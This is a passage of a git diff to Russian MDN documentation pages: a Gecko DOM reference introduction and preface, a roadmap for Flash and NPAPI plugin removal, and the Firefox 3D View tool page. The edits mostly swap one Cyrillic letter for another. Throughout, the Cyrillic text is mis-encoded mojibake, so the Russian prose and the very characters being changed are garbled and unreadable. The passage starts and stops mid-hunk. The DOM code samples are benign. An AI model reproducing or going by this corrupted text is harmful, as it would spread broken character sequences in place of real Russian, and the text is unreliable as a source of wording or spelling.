ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ слоТныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ DOM для создания Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ Π² Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅</span></span>.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€<span id="result_box" lang="ru"><span> ΠΊΠΎΠ΄Π° JavaScript Π±ΡƒΠ΄Π΅ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π° (ΠΈ ΠΊΠΎΠ³Π΄Π° вСсь DOM доступСн для использования).</span></span></p>
<pre class="brush: html">&lt;body onload="window.alert('Welcome to my home page!');"&gt;
</pre>
-<p>Π­Ρ‚Π° функция создаСт Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт H1, добавляСт Π² Π½Π΅Π³ΠΎ тСкст ΠΈ, Π·Π°Ρ‚Π΅ΠΌ, добавляСт <code>H1</code> Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
+<p>Π­Ρ‚Π° функция создаёт Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт H1, добавляСт Π² Π½Π΅Π³ΠΎ тСкст ΠΈ, Π·Π°Ρ‚Π΅ΠΌ, добавляСт <code>H1</code> Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
<pre class="brush: html">&lt;html&gt;
&lt;head&gt;
@@ -61,7 +61,7 @@ p_list = doc.getElementsByTagName("para");
// запускаСт эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½
window.onload = function() {
- // создаСт ΠΏΠ°Ρ€Ρƒ элСмСнтов Π½Π° пустой Π²Π΅Π±-страницС
+ // создаёт ΠΏΠ°Ρ€Ρƒ элСмСнтов Π½Π° пустой Π²Π΅Π±-страницС
var heading = document.createElement("h1");
var heading_text = document.createTextNode("Big Head!");
heading.appendChild(heading_text);
@@ -137,9 +137,9 @@ table.summary = "note: increased border";
<p>This section lists some of the most commonly-used interfaces in the DOM. The idea is not to describe what these APIs do here but to give you an idea of the sorts of methods and properties you will see very often as you use the DOM. These common APIs are used in the longer examples in the <a href="/en-US/docs/Gecko_DOM_Reference/Examples" title="Gecko_DOM_Reference/Examples">DOM Examples</a> chapter at the end of this book.</p>
-<p><code>Document</code> ΠΈ <code>window</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ <span id="result_box" lang="ru"><span>ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, интСрфСйсы ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅Β  часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ DOM.</span></span> ΠŸΡ€ΠΎΡΡ‚Ρ‹ΠΌΠΈ словами, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code>Β  прСдставляСт собой Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>document</code> ΠΊΠΎΡ€Π΅Π½ΡŒ самого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. <code>Element</code> наслСдуСтся ΠΎΡ‚ ΠΎΠ±Ρ‰Π΅Π³ΠΎ интСрфСйса <code>Node</code>, <span id="result_box" lang="ru"><span>ΠΈ вмСстС эти Π΄Π²Π° интСрфСйса ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ мноТСство ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов</span></span>. <span id="result_box" lang="ru"><span>Π­Ρ‚ΠΈ элСмСнты Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ интСрфСйсы для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранятся Π² этих элСмСнтах, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° </span></span><code>table</code><span lang="ru"><span>Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅.</span></span></p>
+<p><code>Document</code> ΠΈ <code>window</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ <span id="result_box" lang="ru"><span>ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, интСрфСйсы ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅Β  часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ DOM.</span></span> ΠŸΡ€ΠΎΡΡ‚Ρ‹ΠΌΠΈ словами, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code>Β  прСдставляСт собой Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>document</code> ΠΊΠΎΡ€Π΅Π½ΡŒ самого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. <code>Element</code> наслСдуСтся ΠΎΡ‚ ΠΎΠ±Ρ‰Π΅Π³ΠΎ интСрфСйса <code>Node</code>, <span id="result_box" lang="ru"><span>ΠΈ вмСстС эти Π΄Π²Π° интСрфСйса ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ мноТСство ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов</span></span>. <span id="result_box" lang="ru"><span>Π­Ρ‚ΠΈ элСмСнты Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ интСрфСйсы для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранятся Π² этих элСмСнтах, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° </span></span><code>table</code><span lang="ru"><span>Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅.</span></span></p>
-<p><span id="result_box" lang="ru"><span>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ список ΠΎΠ±Ρ‰ΠΈΡ… API-интСрфСйсов Π² сцСнариях Π²Π΅Π±-страниц ΠΈ XML-страниц с использованиСм DOM.</span></span></p>
+<p><span id="result_box" lang="ru"><span>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ список ΠΎΠ±Ρ‰ΠΈΡ… API-интСрфСйсов Π² сцСнариях Π²Π΅Π±-страниц ΠΈ XML-страниц с использованиСм DOM.</span></span></p>
<ul>
<li><code><a href="/en-US/docs/DOM/document.getElementById" title="DOM/document.getElementById">document.getElementById</a>(id)</code></li>
diff --git a/files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/прСдисловиС/index.html b/files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/прСдисловиС/index.html
index db38e4b46e..1a364396b0 100644
--- a/files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/прСдисловиС/index.html
+++ b/files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/прСдисловиС/index.html
@@ -60,6 +60,6 @@ function testWinDoc() {
&lt;/html&gt;
</pre>
-<p>ΠŸΠΎΡ…ΠΎΠΆΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ страницы ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ для ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ нСдоступны ΠΊ использованию. Π‘ΠΌ. ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ <a href="ru/%d0%a1%d0%bf%d1%80%d0%b0%d0%b2%d0%be%d1%87%d0%bd%d0%b0%d1%8f_%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d1%8f_%d0%bf%d0%be_Gecko_DOM/%d0%92%d0%b2%d0%b5%d0%b4%d0%b5%d0%bd%d0%b8%d0%b5#.D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_DOM_API">ВСстированиС DOM API</a> для ввСдСния Π² срСдства тСстирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для большого количСства Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… API.</p>
+<p>ΠŸΠΎΡ…ΠΎΠΆΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ страницы ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ для ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ нСдоступны ΠΊ использованию. Π‘ΠΌ. ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ <a href="ru/%d0%a1%d0%bf%d1%80%d0%b0%d0%b2%d0%be%d1%87%d0%bd%d0%b0%d1%8f_%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d1%8f_%d0%bf%d0%be_Gecko_DOM/%d0%92%d0%b2%d0%b5%d0%b4%d0%b5%d0%bd%d0%b8%d0%b5#.D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_DOM_API">ВСстированиС DOM API</a> для ввСдСния Π² срСдства тСстирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для большого количСства Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… API.</p>
<p>{{ languages( { "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}</p>
diff --git a/files/ru/plugins/roadmap/index.html b/files/ru/plugins/roadmap/index.html
index 0537cfcf94..31a24facee 100644
--- a/files/ru/plugins/roadmap/index.html
+++ b/files/ru/plugins/roadmap/index.html
@@ -20,7 +20,7 @@ original_slug: Plugins/План
<dt>Π‘Π΅Π½Ρ‚ΡΠ±Ρ€ΡŒ 2017</dt>
<dd>Начиная с Firefox 56 Π² БСнтябрС 2017, Π² Firefox для Android Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° всСх ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ² ({{bug(1381916)}}).</dd>
<dt>2019</dt>
- <dd>Π’ БСнтябрС 2019, Π² Firefox 69 Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π° надстройка Π²ΠΎ Flash ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ "ВсСгда Π²ΠΊΠ»ΡŽΡ‡Π΅Π½", Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π±ΡƒΠ΄Π΅Ρ‚ всСгда ΡΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ вашС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π³ΠΈΠ½ Π½Π° сайтС.</dd>
+ <dd>Π’ БСнтябрС 2019, Π² Firefox 69 Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π° надстройка Π²ΠΎ Flash ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ "ВсСгда Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½", Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π±ΡƒΠ΄Π΅Ρ‚ всСгда ΡΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ вашС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π³ΠΈΠ½ Π½Π° сайтС.</dd>
<dt>2020</dt>
<dd>Π’ Π½Π°Ρ‡Π°Π»Π΅ 2020, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Flash Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΈΠ· ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ вСрсии Firefox. Firefox Extended Support Release (ESR) Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Flash Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° 2020.</dd>
<dt>2021</dt>
@@ -52,7 +52,7 @@ original_slug: Plugins/План
<li>Май 2014 - <a href="https://blog.chromium.org/2014/05/update-on-npapi-deprecation.html">ΠžΡ‚ΠΊΠ°Π· ΠΎΡ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉ NPAPI</a></li>
<li>ΠΠΎΡΠ±Ρ€ΡŒ 2014 - <a href="https://blog.chromium.org/2014/11/the-final-countdown-for-npapi.html">Π€ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ отсчёт ΠΏΠΎ ΠΎΡ‚ΠΊΠ°Π·Ρƒ ΠΎΡ‚ NPAPI</a></li>
<li>Август 2016 - <a href="https://blog.google/products/chrome/flash-and-chrome/">Flash ΠΈ Chrome</a></li>
- <li>Π”Π΅ΠΊΠ°Π±Ρ€ΡŒ 2016 -<a href="https://blog.chromium.org/2016/12/roll-out-plan-for-html5-by-default.html"> План развСртывания HTML5 ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a></li>
+ <li>Π”Π΅ΠΊΠ°Π±Ρ€ΡŒ 2016 -<a href="https://blog.chromium.org/2016/12/roll-out-plan-for-html5-by-default.html"> План развёртывания HTML5 ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a></li>
<li>Июль 2017 - <a href="https://www.blog.google/products/chrome/saying-goodbye-flash-chrome/">Π‘ΠΊΠ°ΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΡ‰Π°ΠΉ Flash Π² Chrome</a></li>
</ul>
diff --git a/files/ru/tools/3d_view/index.html b/files/ru/tools/3d_view/index.html
index b5b8c0ded1..28f6dd0124 100644
--- a/files/ru/tools/3d_view/index.html
+++ b/files/ru/tools/3d_view/index.html
@@ -18,7 +18,7 @@ translation_of: Tools/3D_View
<p><img alt="" class="default internal" src="/files/3625/3dview.png"></p>
-<p><span id="result_box" lang="ru"><span>НаТимая ΠΈ пСрСтаскивая прСдставлСниС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΡƒΡŽ ΠΏΡ€Π΅Π·Π΅Π½Ρ‚Π°Ρ†ΠΈΡŽ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ DOM Π½Π° своСй страницС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΅Π΅ ΠΏΠΎΠ΄ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ Π΅Π΅ структуру.</span> <span>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Π½Π΅ экрана становятся Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Π³Π΄Π΅ находятся ваши элСмСнты ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΌΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ.</span> <span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ элСмСнтам, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΡ… HTML Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ HTML ΠΈΠ»ΠΈ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ Β«Π‘Ρ‚ΠΈΠ»ΡŒΒ».</span> <span>И Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ элСмСнты Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ поиска, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ элСмСнт Π²Ρ‹Π±Ρ€Π°Π½ Π² 3D-прСдставлСнии.</span></span></p>
+<p><span id="result_box" lang="ru"><span>НаТимая ΠΈ пСрСтаскивая прСдставлСниС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΡƒΡŽ ΠΏΡ€Π΅Π·Π΅Π½Ρ‚Π°Ρ†ΠΈΡŽ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ DOM Π½Π° своСй страницС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΅Ρ‘ ΠΏΠΎΠ΄ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘ структуру.</span> <span>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Π½Π΅ экрана становятся Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Π³Π΄Π΅ находятся ваши элСмСнты ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΌΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ.</span> <span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ элСмСнтам, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΡ… HTML Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ HTML ΠΈΠ»ΠΈ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ Β«Π‘Ρ‚ΠΈΠ»ΡŒΒ».</span> <span>И Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ элСмСнты Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ поиска, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ элСмСнт Π²Ρ‹Π±Ρ€Π°Π½ Π² 3D-прСдставлСнии.</span></span></p>
<p><span id="result_box" lang="ru"><span>Если Π²Ρ‹ Π½Π΅ Π²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ 3D Π² инспСкторС страницы, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ ваш графичСский Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ нуТдаСтся Π² ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ.</span> <span>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ см. На страницС Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΎΠ².</span></span></p>
@@ -88,7 +88,7 @@ translation_of: Tools/3D_View
<ul>
<li><span id="result_box" lang="ru"><span>Если Π²Ρ‹ накосячили с  HTML-ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ, просмотр 3D-Π²ΠΈΠ΄Π° ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΉΡ‚ΠΈ, Π³Π΄Π΅ Π²Ρ‹ Π½Π°Π»Π°ΠΆΠ°Π»ΠΈ.</span> <span>Часто ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ структур  Π²Ρ‹Π·Π²Π°Π½Ρ‹ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ содСрТимого.</span> <span>Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ ΠΏΡ€ΠΈ использовании 3D-Π²ΠΈΠ΄Π°.</span></span></li>
<li><span id="result_box" lang="ru"><span>Если ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π΅ отобраТаСтся, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ;</span> <span>ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ 3D-Π²ΠΈΠ΄ позволяСт Π²Π°ΠΌ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ ΠΌΠ°ΡΡˆΡ‚Π°Π±, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ области страницы.</span></span></li>
- <li><span id="result_box" lang="ru"><span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ структурирована ваша страница, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, стоит Π»ΠΈ Π΅Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</span></span></li>
